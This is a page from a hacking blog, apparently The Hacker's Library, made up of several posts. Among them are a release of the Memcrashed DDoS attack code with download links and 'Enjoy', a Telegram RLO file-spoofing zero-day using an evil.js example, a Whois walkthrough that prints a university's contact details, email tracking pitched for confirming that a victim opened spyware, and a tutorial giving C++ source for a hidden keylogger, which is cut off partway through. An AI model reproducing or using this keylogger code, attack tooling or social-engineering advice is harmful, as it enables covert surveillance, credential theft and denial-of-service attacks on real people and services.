Delete Facebook - theft of private data and data leakage - Downloading your own facebook data - Everything a facebook user should know

You might have heard in a last few days about everyone's facebook data getting leaked to a private company. How and why are some matters we will discuss about later but the most important concern is which data is getting leaked. The answer is, your private information. Facebook spies on you in one or the other way and gets all the information from your device. Also, you can't argue about this - because it is clearly mentioned in terms and conditions when you signup for a new facebook account. And without reading, you click "Agree and Continue". But let us leave that point and focus on what is happening now and how can you get a proof of it.

Let me share my own experience when I once doubted about this but didn't had any proof. A few months ago, I visited a family function (yep... you got it right - I didn't want to visit that). There I just meet a man who was in a far relation with our family. It was definitely the first time I was that person. And I was surprised the next day to see that person in my "facebook friend suggestions list". That day, I searched all over google to get the answer of - How did this happen! I surely doubted facebook spying on us - through our locations, phone calls, and more... But didn't get a single answer on google. What everyone said was - facebook uses master algorithms to get this data. And I was like - algorithms are meant to work on data and not to steal data. But as time passed, I forgot of it.

Here are some proofs to make this article interesting:

Click to view full size images. Explore more by yourselves... Steps are mentioned below in this article.

But now, its time for everyone to know. You probably know by now, that there is a #DeleteFacebook movement sweeping the internet. After the Cambridge Analytica scandal, users across the world are terrified that Facebook has been using their accounts against them. The Cambridge Analytica scandal is all over the internet from past few days. The story is short but not sweet. Once, Facebook signed a deal with Cambridge Analytica to provide them users' information for analysis. But afterwards, they got a change of mind and asked Cambridge Analytica to stop retrieving the users' data from Facebook servers. Cambridge Analytica, on receiving this message, sent a message to Facebook that they agree to stop getting data from analysis from Facebook servers. And you know what - facebook was happy with that message. They didn't took this thing seriously, they didn't crosscheck if the message they received was just a message or the task was actually implemented. And now, after 3 years, they came to know that Cambridge Analytica didn't stop spying on users' data.

It all started when the scandal was brought to light after a whistleblower at Cambridge Analytica, a consulting firm for Trump's campaign, admitted that they had access to millions of users' Facebook data. After this, it didn't take long for users to realize that they were able to download their own "Facebook Data" in order to find out exactly what information companies like Cambridge Analytica have on users like us.

And then, users' started implementing the job to see which data was actually leaked. And the result was completely terrifying. First, let us learn how to download your facebook data in 5 simple steps:

1. Open your facebook home page. Go to settings.
2. Click your facebook "General Account" settings.
3. Click "download a copy of your facebook data".
4. Verify that you would like the data file downloaded and sent to your email. (Wait for some minutes so that the compressed file is ready)
5. Open your email and download the file.

After downloading the file and investigating exactly what information Facebook has stored on you, you may contemplate deleting your account or at least limiting your information. Users that have downloaded their own data files have found extensive information on their previous contacts, call history, private telephone numbers from their phones, dozens of companies targeting them for ads, and complete conversations from Messenger.

See the below real time examples if you don't trust The Hacker's Library:

If you never understood what "being a product on $FB " means, go to Settings -> "Download a copy of your Facebook data." and then go to Ads tab to see the list of the companies that acquired your data. Mine is so long that it couldn't fit on my 34' monitor. pic.twitter.com/dIydW9o5ND

— Łukasz Strzałkowski (@lukaszx0) March 22, 2018

Following the examples of others I recently downloaded a copy of my #FacebookData they even have record of private telephone numbers of contacts from my address book who are not on the platform! Totally reconsidering my presence there. pic.twitter.com/jt3Oiaj18D

— seawildearth (@seawildearth) March 23, 2018

Downloaded my facebook data as a ZIP file

Somehow it has my entire call history with my partner's mum pic.twitter.com/CIRUguf4vD

— Dylan McKay (@dylanmckaynz) March 21, 2018

Well, that's it. Are you going to delete your account? Or just post less information on Facebook?

Read More

Source code for massive memcached server attack leaked - Memcrashed code made public

Its the time when everyone can attack. You, me and everyone else with the code can now perform a DDoS attack using the memcached servers. In this article you will find the source codes of the massive DDoS attack performed using memcached.

First, make a note of this - 

I am not liable for any kind of misuse of this codes. You are on your own. This article is only for sharing information and its misuse is not promoted by me.

This article is linked to the previous article I wrote, so kindly read the previous article if you haven't. The whole thing is what people call Memcrashed. If you don't know what it is - its just a simple way of performing the world's largest DDoS attack. For more info, I would recommend you to read the below articles -

• Who performed the largest DDoS attack on GitHub and How?
• The Biggest DDoS attack on GitHub using Memcached Server

After reading the following articles, everything here will make sense to you. You, too, can now attempt a record-setting denial-of-service attack, as the tools used to launch the attacks were publicly posted this week.

This code were released as a proof-of-concept code making programmers aware of how this thing works. There were intotal two codes released. One was released by @037 twitter user, and the author of the other is still unknown. Code released by @037 is written in python while the other is writtern in C.

The python code scans for memcached servers using shodan search engine API. Then it starts the attack depending on the input provided by the user. It’s been just over a week since the first massive memcache-fueled denial of service attack. The code’s authors says it’s being released “to bring more attention to the flaw and force others into updating their devices.”

Akamai and Cloudflare predicted more attacks following the record-setting efforts. Cloudflare CEO Matthew Prince said he was seeing separate attacks of a similar size last week.

“Looking at shodan.io indicates there are many more than just 17,000 Memcached servers that can be used for DDoS attacks,” said Ashley Stephenson, CEO of Corero. “If the vulnerable servers on the list are utilized for attacks they can be neutralized with the kill switch by sending just 17,000 packets, one to each attacking server, neutralizing their DDoS potential until they are reloaded by the attacker which take 10,000 times longer. Corero has announced today that the ‘flush-all’ command can be used as a benign active defense ‘kill switch’ by those being attacked to suppress attacks from the compromised Memcached server.”

This vulnerability has existed since a decade and now more and more attacks of this type are possible because of the source code leak. Wasting no more time, I am providing the links to download the codes.

1. C language code 
2. Python code 

 Enjoy.. but remember - No Misuse...

Read More

The Biggest DDoS attack on Github using Memcached Servers - Survived

Brief News:- On Wednesday, at about 12:15 pm ET, 1.35 terabits per second of traffic hit the developer platform GitHub all at once. However, the attack cannot take the server down. GitHub managed to tackle the attack and it lasted for less than 10 minutes.

Seems great, right! 1.35 terabits of traffic using botnets. What do you think about how many botnets might have been required? And it would be surprising to tell you that this is a new method which doesn't use Botnet. Rather, it uses only a single server - Memcached Server. It was the most powerful distributed denial of service attack recorded to date—and it used an increasingly popular DDoS method, no botnet required.

Before going into deep about what happened, let us understand how this attack can be done. This is something you will find in all my articles because I believe that having the knowledge of what happened doesn't help. One should also have the knowledge of how it happened. And that's the reason why I always specify the method of attack. Let us start by learning what is memcached server and how are they exploited to perform this kind of attack.

What is a Memcached Server?

Memcached Servers are used to cache small chunks of data in the memory of a server. Think of the time required to retrieve data from the database by making queries to it and then converting that data into a readable format. What if a server finds out that a piece of information stored in database is accessed frequently! The server can access that data once and then store it into the cache i.e. memory. Now, only a memory read needs to be performed to access the data.

Memcached is a distributed caching system used for this purpose. It stores the data in dictionary form using key-value pairs. And hence, speedily access to data can be done. Hence, it works to speed up servers and websites.

How can a Memcached Server be exploited to DDoS?

Memcached servers generally return a large amount of data in response to a small request. Also, it works over UDP on port 11211. These are the two things which are taken as an advantage to exploit the server.

Crooks send small byte-sized requests to Memcached servers on port 11211. Because the UDP protocol wasn't implemented correctly, instead of responding with a similar or smaller packet, Memcached servers respond with packets that are sometimes thousands of times bigger than the initial request. The next trick is called an amplification attack, and it exploits UDP. UDP (as opposed to TCP) is like the early post office; you send mail and hope it gets there, and if it doesn't then you have no control over it. There’s no handshaking between communicating computers. When a device sends a UDP packet to a server, it includes the return address so that the server can send the response back. If the device sends a carefully crafted fake request with a different return address, then the server will send the response to that spoofed return address. Hence, the return address field in the request packet is spoofed to the target's (victim's) address.

In the DDoS community, this type of DDoS attack is named reflective DDoS or reflection DDoS. The amount of times the response packet size is amplified is the DDoS attack's "amplification factor". By a research, it is found that the amplification factor of a memcached server can reach a massive 51,200.

Now you know how the attack is performed, let's take a look a the news...

What Happened?

GitHub briefly struggled with intermittent outages as a digital system assessed the situation. Within 10 minutes it had automatically called for help from its DDoS mitigation service, Akamai Prolexic. Prolexic took over as an intermediary, routing all the traffic coming into and out of GitHub, and sent the data through its scrubbing centers to weed out and block malicious packets. After eight minutes, attackers relented and the assault dropped off.

“We modeled our capacity based on fives times the biggest attack that the internet has ever seen,” Josh Shaul, vice president of web security at Akamai said hours after the GitHub attack ended. “So I would have been certain that we could handle 1.3 Tbps, but at the same time we never had a terabit and a half come in all at once. It’s one thing to have the confidence. It’s another thing to see it actually play out how you’d hope."

GitHub continued routing its traffic through Prolexic for a few hours to ensure that the situation was resolved. Akamai's Shaul says he suspects that attackers targeted GitHub simply because it is a high-profile service that would be impressive to take down. The attackers also may have been hoping to extract a ransom. "The duration of this attack was fairly short," he says. "I think it didn’t have any impact so they just said that’s not worth our time anymore."

As a result, everyone thought that memcached process should not be available for public. It should be kept private for the servers. The infrastructure community has also started attempting to address the underlying problem, by asking the owners of exposed memcached servers to take them off the internet, keeping them safely behind firewalls on internal networks. Groups like Prolexic that defend against active DDoS attacks have already added or are scrambling to add filters that immediately start blocking memcached traffic if they detect a suspicious amount of it. And if internet backbone companies can ascertain the attack command used in a memcached DDoS, they can get ahead of malicious traffic by blocking any memcached packets of that length.

This was everything you need to know about the news... Thanks.

Read More

Learn Machine Learning with Google AI - Google offers free online machine learning course for everyone

Short News:- Google is now offering everyone to learn Machine Learning for free! Yep.. at zero cost.

First of all, let me clear myself. You might be thinking - why such a post in The Hackers' Library! There's no hacking in here! Yep.. you are absolutely right. But this post is here due to a single reason. I always thought of creating a Master Hacking Bot. We all know the power of AI. Just think of what can a bot do if it is taught to HACK!!! Along with ML capabilities, the power of this bot can be infinite. I don't know if it is possible or not. But the truth is - no one charges you for dreaming big...

So, now let's start the discussion. There is really no good material available on net for learning AI. If it is, I doubt it is free. But no worries now, Google brings you a way to learn AI and ML for free. Not only it gives you tutorials, but it also gives you practice by providing you with examples and exercises. It introduces you to the world of AI.

"AI can solve complex problems and has the potential to transform entire industries, which means it's crucial that AI reflect a diverse range of human perspectives and needs. That's why part of Google AI's mission is to help anyone interested in machine learning succeed – from researchers, to developers and companies, to students," said Google Technical Program Manager Zuri Kemp on the company's official blog.

She also introduced the new Learn with Google AI website which provides ways for users to learn about core machine learning concepts, develop and hone their skills in the subject, as well as apply the technology to real-world problems.

This website is created for a wide range of users. Everyone from deep learning experts needing advanced tutorials and materials on TensorFlow, to newbies who just want to take their first steps with AI. That means, from students to experts, everyone can use this website, learn from the provided courses and expand their knowledge upto the top level.

Learn with Google AI also offers a free online course (actually its first course) called Machine Learning Crash Course (MLCC) which provides exercises, interactive visualisation, and instructional videos for anyone to learn and practise machine learning concepts.

So far, more than 18,000 Googlers have enrolled in MLCC, applying lessons from the course to enhance camera calibration for Daydream devices, build virtual reality for Google Earth, and improve streaming quality at YouTube. And this great achievement inspired Google to make it available for everyone. (Yep.. Google too needs inspiration - everyone does...)

This course is estimated about 15 hours and it is designed for newcomers with a zero knowledge of Machine Learning. There are some prerequisites of this course which are stated below:-

1. Knowledge of algebra - Yep...Mathematics including algebra and statistics is must and most important for ML.
2. Programming in Python - This is because the examples provided in the course are coded in python. It is not necessary but compared to other languages, Python is best for AI.

"There’s more to come from Learn with Google AI, including additional courses and documentation. We're excited to help everyone learn more about AI," said Kemp.

Read More

Zero-day vulnerability in Telegram exploited by Cyber Criminals to mine Cryptocurrency - Everything you need to know along with source code of miners

Inshort :- A zero-day vulnerability has been discovered in the desktop version for end-to-end encrypted Telegram messaging app that was being exploited in the wild in order to spread malware that mines cryptocurrencies such as Monero and ZCash.

In October 2017, a security researcher Alexey Firsh from Kaspersky Lab found a vulnerability in Telegram Desktop app. Also, the vulnerability is reported but there are no steps taken till now. That's the reason it is known as zero-day vulnerability in Telegram. It affects only the Windows client of Telegram messaging software.

This flaw can be used in many ways to install any kind of malicious software on someone's PC without their consent. And attackers take it as a benefit and have actively exploited this flaw to inject viruses, ransomware, to spy on someone, steal private information and more. Not only this, but from the past 2 days this flaw is also exploited to mine cryptocurrency on someone's desktop.

To know more about this, one should first know what actually the vulnerability is and how can it be exploited. After that, we sill see how this vulnerability can be used for making further attacks. So, let's get started...

What exactly the flaw in telegram is and how is it exploited?

Basically, everything starts by knowing that there are two kind of human languages. One that is written from left-to-right and other is written from right-to-left. We all know many languages that are written from left-to-right such as English language. But the languages like Arabic or Hebrew are written from right-to-left. Oh... you might be thinking why this is so important to know in a field like hacking! So, let's move forward.

The vulnerability resides in the way Telegram Windows client handles the RLO (right-to-left override) Unicode character (U+202E), which is used for coding languages that are written from right-to-left. This Unicode character is used to display the string from right-to-left instead of left-to-right.

In the Unicode character table, it is represented as ‘U+202E’; one area of legitimate use is when typing Arabic text. In an attack, this character can be used to mislead the victim. It is usually used when displaying the name and extension of an executable file: a piece of software vulnerable to this sort of attack will display the filename incompletely or in reverse.

Now let's see how this concept is used in performing hacks. Below is an account of how this vulnerability was exploited in Telegram:

• The cybercriminal prepares the malware to be sent in a message. For example, a JS file is renamed as follows:
  
  evil.js -> photo_high_re*U+202E*gnp.js
  
  Where *U+202E* is the RLO character to make Telegram display the remaining string gnp.js in reverse. Note that this operation does not change the actual file – it still has the extension *.js.
• The attacker sends the message, and – surprise! – the recipient sees an incoming PNG image file instead of a JS file:

Hence, this kind on vulnerability makes a user download a malicious software on his/her desktop and then that script gets executed and everyone here knows what will happen next. The piece of malware installed can download another payload from some insecure website, turn windows security down, take control over startup of the desktop and much more. That means, you can do anything you want once you get control of the system by installing malware on it.

Update:- Source code of malware and cryptocurreny miners is removed from this site due to leak of harmful data. And I would not take the responsibility of its misuse, so it was better to remove it from here. Though, I am dropping a link at the end of this article to a website where you can find them. Take a risk to visit it if you want.

How is it used to mine cryptocurrency?

The task in done in various small steps. In the first step, the malware gets installed on the system and takes remote control of the system. Hence, now it can do whatever the hell it wants. It uses telegram API to find a bot that can control the whole system remotely.

Click to see full size image

Now the thing is, how is this bot able to control the whole system. Thanks to Telegram that it allows bots to execute commands on the system. The bot sends malicious commands and they are run on your system. On analyzing, security researchers found that this commands are written in Russian. The list of supported commands shows that the bot can silently deploy arbitrary malicious tools like backdoors, loggers and other malware on the target system. 

The next step taken by this malware is, it changes the Windows Startup Registry and makes a place for itself inside it. That makes this malware run everytime your Computer boots up. Now, at this stage malware has got a way to get inside your memory everytime you boot up your desktop.

In this last stage, it downloads a cryptocurrency miner from untrusted websites and install them on your PC. It also adds the miner in startup so that mining starts as soon as you start your OS. Also much more was discovered about its use and one such thing I would like to mention here is, the malware also installed a spyware on the system. An FTP server was found with dumps of Telegram Users' data. Mentioning everything here is out of my capacity - just google it.

How to protect yourself?

The best way to protect yourself from such attacks is not to download or open files from unknown or untrusted sources. The security firm also recommended users to avoid sharing any sensitive personal information in messaging apps and make sure to have a good antivirus software from reliable company installed on your systems.

Stay in touch for more updates.. Thanks!

Read More

Whois Lookup - Gather Information through Whois Footprinting

Hello friends... This is out 100th article today. And we are excited to get response from all of you. Just before starting to study this topic, I would like to inform you that all the articles from now onward will be most important in hacking. Because this is the point at which real hacking starts. The previous articles might not seem much interesting to all but they were important for the "n00bs". A reason why this site will be the best in future - We post everything. Everything at one place - sooner or later this will become number one site to study hacking.

Now, related to this article... Basically, everything from now on will be related to hacking and IP address and concepts of network and domains in main. So, I suggest you to read the articles on IP address, domains and networking first. This is basically important as you know - A server is hacked by its IP address and an attacker is also tracked by using a unsecured network and IP address.

What is Whois?

Whois, as the name implies, is a protocol granting users access to the massive database of registered owners of an internet resource such as an autonomous system, an IP block, and a domain name, among others. In other words, it is a query and response protocol that lets users find out ‘who is’ the registered owner of a domain by simply typing the exact domain name.

The protocol, in return, will deliver the response in a format that is readable to the human. A more detailed specification of the Whois protocol can be found in RFC 3912. Here are a few reasons why people are conducting a Whois search:

• Domain buying and trading
• Check domain expiration
• Find out domain owner identity
• Find out location and address of the owner
• Marketing purposes

Based on the above usage, the importance of a Whois search is clear. But why is Whois important to Hackers? And how is it important? These are the two questions which will be answered here...

How to perform a Whois Lookup?

To understand the importance of Whois in hacking, we will study an example of whois lookup. And to study the example, you need to know about how to perform whois lookup.

Doing a Whois lookup is very simple and quick. There are only a few easy steps to make, and the results will be instantly shown in a few seconds. The procedures are as follows:

1. Visit https://whois.net
2. Enter the domain name your want to lookup in the search box
3. Hit the ‘GO’ button

The results will immediately show up in the next few seconds, depending on your internet speed. Other websites can also be used for Whois Lookup. My personal favourite is - https://www.whois.com/whois/

Below is the information obtained by whois lookup of the domain "gtu.ac.in".

Domain Information
Domain: gtu.ac.in
Registrar: ERNET India (R9-AFIN)
Registration Date: 2008-07-15
Expiration Date: 2026-07-15
Updated Date: 2017-01-27
Status: ok

Name Servers:
ns-602.awsdns-11.net
ns-355.awsdns-44.com
ns-1775.awsdns-29.co.uk
ns-1501.awsdns-59.org

Registrant Contact
Name: gujarat technological university
Organization: gujarat technological university
Street: JACPC building l d college of engineering campus
City: ahmedabad
Postal Code: 380015
Country: IN
Phone: +91.9909980005
Email: registrar@gtu.ac.in

Administrative Contact
Name: n n bhuptani
Organization: gujarat technological university
Street: JACPC building l d college of engineering campus
City: ahmedabad
Postal Code: 380015
Country: IN
Phone: +91.9909980005
Email: registrar@gtu.ac.in

Technical Contact
Name: Harshad Borisa
Organization: gujarat technological university
Street: Gujarat Technological University JACPC building L. D. college of engineering campus
City: ahmedabad
State: Gujrat
Postal Code: 380015
Country: IN
Phone: +91.7926301500
Email: rupendra@gtu.edu.in

As you can clearly see, whois lookup provides us with the details such as:

• Domain expiry date
• Email address of owner
• Mobile number of owner
• Address of owner
• IP address or IP block
• And much more...

Based on this information, the importance of whois is determined. Take note that the registrant’s details may vary based on the Top Level Domain, or TLD. Some TLDs will not show all information of the registrant, while others will not show any detail at all. Also, the owners’ information may be concealed if they are subscribed to the domain privacy, and the domain registrar’s information and contact details will be shown, instead.

Importance of Whois Lookup

Whois lookup is useful in many ways depending on the motive of the person performing lookup. There are various things to be applied on whois lookup but the two of them which are mostly used are listed below...

• If you are defender, it can help you in tracking down the attacker - You can perform whois lookup on the attacker's IP address and find out the ISP and the location of the ISP which provided IP address to the attacker. Then contact the ISP to reveal other details.
• If you are on the attacking side, it helps you finding targets to attack - Based on the information available, you can contact the owner and try some social engineering tricks on him/her.

Being able to identify the owner of a domain is one advantage that benefits many users. However, there is also a major disadvantage that comes with it, which is lack of privacy on the part of the domain owner since their identities are made public. Prior to the domain registration, user are required to reveal their full name, address, and contact details such as email address and phone numbers. This is in compliance to the stipulations of Internet Corporation for Assigned Names and Numbers or ICANN, mandating that the registrants’ details be made publicly available through the Whois directories. This provides an entry point for spammers and marketers to grab email addresses and phone numbers for their marketing and spamming activities.

Due to the massive criticism on lack of privacy, most domain registrants like GoDaddy and Hostgator are now offering domain privacy that provides privacy to the owners by concealing some details of their personal information. In this case, the contact information of the registrar is displayed instead of the domain owner. But such feature is available at a premium price.

The above article provides the complete information about Whois Lookup. If you still don't understand how to use it, comment below your queries. If you still don't understand where to use it, then wait for it.

Remember - Hacking is not performed using a single trick or tool. One needs to combine the power of everything he/she has to perform hacking. And you are learning a small part of it to develop your powers. Learn everything separately and combine them at a time.

Read More

KRACK - WiFi devices all over the world are Hackable..! - Everyone's data is at risk - Everything you need to know

Hello friends.. Here you are about to find the most important and something unbelievable about the WiFi networks we use daily. What if someone tell you that your WiFi is hackable! Or what if I tell you that all of your private data in this world is hackable. And everyone is at risk! Some of you won't believe me but this has become a reality and you can't neglect it.

Till now, all we knew about WiFi hacking was hacking passwords and WiFi sniffing attacks. Also these attacks were not successful on all WiFi devices. But now, there is something big. All the wifi devices are hackable. And the attacker can get all your private data through it. Hence, this is something serious that should be taken care of. I expect you to read this whole article, take the corrective steps and share this post on facebook, whatsapp and all other social media websites to make people aware of the the big risk they are in.

Introduction

Most vulnerabilities go unnoticed by the majority of the world’s population even if they affect several million people. But this news, published yesterday, is probably even bigger than all other security breaches and affects several billion people all over the world: Researchers have found a bunch of vulnerabilities that make all Wi-Fi networks insecure.

Researchers have found out that devices based on Android, iOS, Linux, macOS, Windows, and some other operating systems are vulnerable to some variation of this attack, and that means almost any device can be compromised. They called this type of attack a key reinstallation attack, or KRACK for short.

What is KRACK?

The attack is against the 4-way handshake of the WPA2 protocol. This handshake is executed when a client wants to join a protected Wi-Fi network, and is used to confirm that both the client and access point possess the correct credentials (e.g. the pre-shared password of the network). At the same time, the 4-way handshake also negotiates a fresh encryption key that will be used to encrypt all subsequent traffic. Currently, all modern protected Wi-Fi networks use the 4-way handshake. This implies all these networks are affected by (some variant of) our attack. For instance, the attack works against personal and enterprise Wi-Fi networks, against the older WPA and the latest WPA2 standard, and even against networks that only use AES. All the attacks against WPA2 use a novel technique called a key reinstallation attack (KRACK).

Now to understand how KRACK works, we need to know how the WiFi devices work.

The process of connecting to a Wi-Fi network

When a client joins a network, it executes the 4-way handshake to negotiate a fresh encryption key. It will install this key after receiving message 3 of the 4-way handshake. Once the key is installed, it will be used to encrypt normal data frames using an encryption protocol. However, because messages may be lost or dropped, the Access Point (AP) will retransmit message 3 if it did not receive an appropriate response as acknowledgment. As a result, the client may receive message 3 multiple times. Each time it receives this message, it will reinstall the same encryption key, and thereby reset the incremental transmit packet number (nonce) and receive replay counter used by the encryption protocol. The researchers at Kaspersky Lab found that an attacker can force these nonce resets by collecting and replaying retransmissions of message 3 of the 4-way handshake. By forcing nonce reuse in this manner, the encryption protocol can be attacked, e.g., packets can be replayed, decrypted, and/or forged. The same technique can also be used to attack the group key, PeerKey, TDLS, and fast BSS transition handshake.

I am damn sure that some of our readers will not understand what is written above (as it requires the concepts of networking to be clear) but the latter part will make everything clear.

How does the KRACK attack work?

To perform this attack, the attacker has to set up a Wi-Fi network with the same name (SSID) as that of an existing network and target a specific user. When the attacker detects that the user is about to connect to the original network, they can send special packets that make the device switch to another channel and connect to the fake network with the same name.

After that, using a flaw in the implementation of the encryption protocols they can change the encryption key the user was using and thus access all of the information that the user uploads or downloads.

One may argue that there’s another layer of security — the encrypted connection to a site, e.g., SSL or HTTPS. However, a simple utility called SSLstrip set up on the fake access point is enough to force the browser to communicate with unencrypted, HTTP versions of websites instead of encrypted, HTTPS versions, in cases where encryption is not correctly implemented on a site (and that is true for quite a lot of websites, including some very big ones).

So, by using this utility in their fake network, the attacker can access the users’ logins and passwords in plain text, which basically means stealing them. And not only the plain login passwords but all the data which goes into plain text form is accessible by the attacker. Even OTPs are accessible. So, now you know - What the heck.!

Let me give you a short information about SSLStrip. SSLStrip is a type of MITM attack that forces a victim's browser into communicating with an adversary in plain-text over HTTP, and the adversary proxies the modified content from an HTTPS server. To do this, SSLStrip is "stripping" https:// URLs and turning them into http:// URLs. Hence, the data is transmitted in plain text form rather than encrypted form. So, finally you know that everyone including you is at risk.

How to stay secure?

The fact that almost every device in almost every Wi-Fi network is vulnerable to KRACK sounds quite scary, but like pretty much any other type of attack, this one is not the end of the world. Here are a couple of tips on how to stay safe. First of all, you should understand that - here the vulnerability lies in the protocols designed. Hence, you cannot do anything extra rather than depending on the company of your WiFi device.

• Always check to make sure there’s a green lock icon in the address bar of your browser. That lock indicates that an HTTPS (encrypted and therefore secure) connection to this particular website is being used. If someone attempts to use SSLstrip against you, the browser will be forced to use HTTP versions of websites, and the lock will disappear. If the lock is in place, your connection is still secure.
• Most of appliance manufacturers are in the process of issuing firmware updates that can fix the issue with key reinstallation. So check if there are fresh firmware updates for your devices and install them as soon as possible.
• You can secure your connection using a VPN, which adds another layer of encryption to the data transferred from your device.

So, now you know what to do - share this and spread awareness. Thank you..

Read More

Email Tracking - Track your email to know if the receiver opened it, clicked on a link and much more..

Hello fellas, here you are going to learn about Email Tracking. Email tracking is a method used to obtain information from sent emails. For a smooth start, let me give you an example. Suppose that you are the attacker. You have created a file which is trustworthy by its name (let the file-name be "IDM Cracked Latest Version"). But along with this file, you did also bind (attach) an executable in background (hidden from user). This executable is nothing else but a keylogger. Hence, the file will seem useful to user but is really a spyware. Now, you mail this file to the victim and wait for him/her to open it. Here is the trap.

Click here to learn how to create a keylogger and download a keylogger file from here

Most of email services doesn't provide a way for the sender to know if his/her email was seen by the receiver or just ignored. In WhatsApp, Facebook and any other messaging service, we can know if our message was read or ignored. But none of email service provide us with this feature. So if you sent a spyware file to victim, it will take for weeks to know if he/she downloaded the file or not. And your attack will be unsuccessful or it will give delayed result. This is a simple example where email tracking becomes handy. So that now we have seen the importance of Email Tracking, let us study the process in depth.

There are in general, two methods to obtain information from Emails.

1. Email Tracing
2. Email Tracking

Yes, Email Tracing is different from Email Tracking. To study the difference and learn what Email Tracing is, click here.. Both the procedures (Email tracing and tracking) are independent. Hence, you can directly study this article to learn tracking irrespective of studying email tracing. But I would still suggest you to go through email tracing at least once before continuing, as its an interesting and important topic.

What is Email Tracking?

To be technical, it’s a method for monitoring email delivery through the use of a digitally time-stamped record to show the exact time and date an email was opened. You send an email. Your victim opens it. You get a notification in the corner of your screen and have the time of the email being opened on record. Every time the email is opened or a link is clicked, you’ll know it happened.

There are mainly two kind of receipts required when an email is sent.

1. Delivery Receipt - Indicates if the email is delivered or not. This receipt is provided in-built by all the email services.
2. Read Receipt - Indicates if the email you sent is read by the receiver or just ignored. This service is not provided by most of email service providers. But we can still modify the service provider functions to get a read receipt.

Click to view full size image

And Email Tracking is a methodology of obtaining read receipts of any sent email. So now let us see the advantages of email tracking before knowing how it actually works.

How is Email Tracking useful?

Email Tracking is mainly used in two fields - Spying and Marketing. Initially, email and link tracking feels like spying on your customers or potential clients. However, nothing nefarious is happening. Using email tracking actually saves time and increases productivity for both you and the customer. When you see a notification you know your email has been opened. You no longer have to send the “did you get my email?” message unless they actually haven’t gotten it.

Also, you’ll know exactly when people are sitting down at their desks and has your business on their mind. If you reach out to them close to this time, you’ll save your client time by contacting them when they’ve already got your company on their mind. Instead of trying to get them at a random time on a random day, they’ll already be thinking about you, and less likely to be busy on something else. If you notice an email being opened multiple times, then you’ll know there’s a higher chance for engagement with them. You can tell if they’re checking information you sent them before or after a call/meeting.

Email tracking is great for:

• Knowing when to follow up with people.
• Providing specific information based on the feedback (For example: If they keep clicking an email about a certain product, you could send more information about it).
• Helping marketing know what’s getting clients to click onward and what’s failing to get their attention.
• Giving peace of mind that you’re getting to clients.

Now let us see how Email Tracking works.

How does Email Tracking work in general?

To understand email tracking, we must first know the importance of Web-beacon or Tracking-pixel. 

• Web-beacon:A web beacon is an object embedded in a web page or email, which unobtrusively (usually invisibly) allows checking that a user has accessed the content. Common uses are email tracking and page tagging for web analytics.
• Tracking-pixel: Tracking pixel is a type of Web-beacon. A tracking pixel is a transparent image, measuring one pixel by one pixel (very small). Once imbedded on a Web page or in an email, a tracking pixel connects to a PHP file stored on your Web server. Each time the tracking pixel is viewed, it pulls the PHP file from the server, creating a logged event that lets you know exactly when and for how many times customers accessed the page or opened the message.

Now that we know about tracking pixel, we can note two of its important properties - Its transparent and when it is accessed, the event is logged along with the date-and-time stamp in the log file. When you see the log file, you can tell about when and how many times the image was accessed.

Email Tracking works the same way. You need to imbed the tracking-pixel in the email. I used the word "Imded" and not "Embed". When you embed an image, the image loads in the email and is sent to the receiver as an attachment. Hence, the log file will store the time when the email was sent - as tracking-pixel was attached (accessed) when the email was created. But when you imbed an image, a html tag including the link (<img src="link">) to that image is sent in the email. Hence, the image is loaded when the receiver opens the email. So, the log file will save the time when the image was accessed by the receiver which indirectly indicates when email was seen by the receiver.

Limitations of Email Tracking Pixel

Typically, there are no limitations of Email Tracking Pixel but there are problems which occur due to following reasons:

• The image isn’t loaded when an email is opened. Many web, desktop, and mobile email clients do not open images by default. Especially from unknown senders.
• An ad or tracking blocker is being used. Several extensions exist that block email opens from being reported.
• The image is loaded, but the email isn’t actually open. Some email clients render images as a preview, and will trigger email open false positives. The same effect is produced by Gmail's Image Caching feature.
• Some enterprise security systems will block emails w/ open tracking pixels or tracked links. Worse than email tracking not working, your email just might not actually get through.

The above was a brief list of what can cause email tracking to fail. The most important of the above is Gmail's Image Caching feature. (I cannot mention about it here due to the limitations of size og my article but you can google it.)

Some of useful tools for Email Tracking

Email tracking can be done with the help of three methods - Manual Method, Web-browser Extensions and Online Tools. Manual method is a bit harder and lengthy so I will mention it in my upcoming articles. The extensions and tools are listed here:

• Email Tracking Extension for Chrome
• MailTrack
• HubSpot

If you know about other good tools, write the name and link in comments. Till then, stay connected.. Thank you..

Read More

Making a simple C++ Keylogger - Download with Source Code

Hello friends.. Today I am going to discuss here about the most awaiting post by our readers. You are going to learn about making a running and undetectable keylogger in C++ programming language. And you will be amazed to know that you don't need to have a complete knowledge of C++ to learn this thing. As I am here to explain you in detail what happens by execution of which code of line.

Still, there are some prerequisites to learn how to design a Keylogger and get the knowledge of different types of keylogger and how they work. You don't need to know the programming language but you still need to know how a keylogger really works in background and an algorithm to design it. Hence, before continuing your reading of this article, I recommend you to read the below to articles for ease. (Its because making a keylogger is not a child's task. You should have complete knowledge of it.)

Links:

• A simple algorithm to design a Keylogger
• Types on Keylogger and how each type works

After reading the above articles, you can easily move towards reading this article. In the first article i.e. steps to make a keylogger, you have learned about two things necessary in designing a keylogger. These two most important tasks are:

1. You need to identify a function which identifies and triggers when a key is pressed.
2. You need to code the keylogger to run in stealth (hidden) mode.

The first task is carried out by a function --GetAsyncKeyState()-- which is a part of windows API in C++. Hence, this function returns a specific value when the ASCII value of the character key pressed is passed as an argument. Now let us understand the making of a C++ Keylogger taking a closer look at its code.

C++ Keylogger Code:

#include<iostream>
#include<fstream>
using namespace std;     //used to avoid the compilation errors because of redefinition of variables.
#include<windows.h>
#include<winuser.h>


int Save (int key_stroke, char *file);
void Stealth();

int main()
{
Stealth();
char i;

while (1)
{
for(i = 8; i <= 190; i++)
{
if (GetAsyncKeyState(i) == -32767)
Save (i,"LOG.txt");
}
}
system ("PAUSE");
return 0;
}

/* *********************************** */

int Save (int key_stroke, char *file)
{
if ( (key_stroke == 1) || (key_stroke == 2) )
return 0;

FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");

cout << key_stroke << endl;

if (key_stroke == 8)
fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
else if (key_stroke == 13)
fprintf(OUTPUT_FILE, "%s", "\n");
else if (key_stroke == 32)
fprintf(OUTPUT_FILE, "%s", " ");
else if (key_stroke == VK_TAB)
fprintf(OUTPUT_FILE, "%s", "[TAB]");
else if (key_stroke == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
else if (key_stroke == VK_CONTROL)
fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
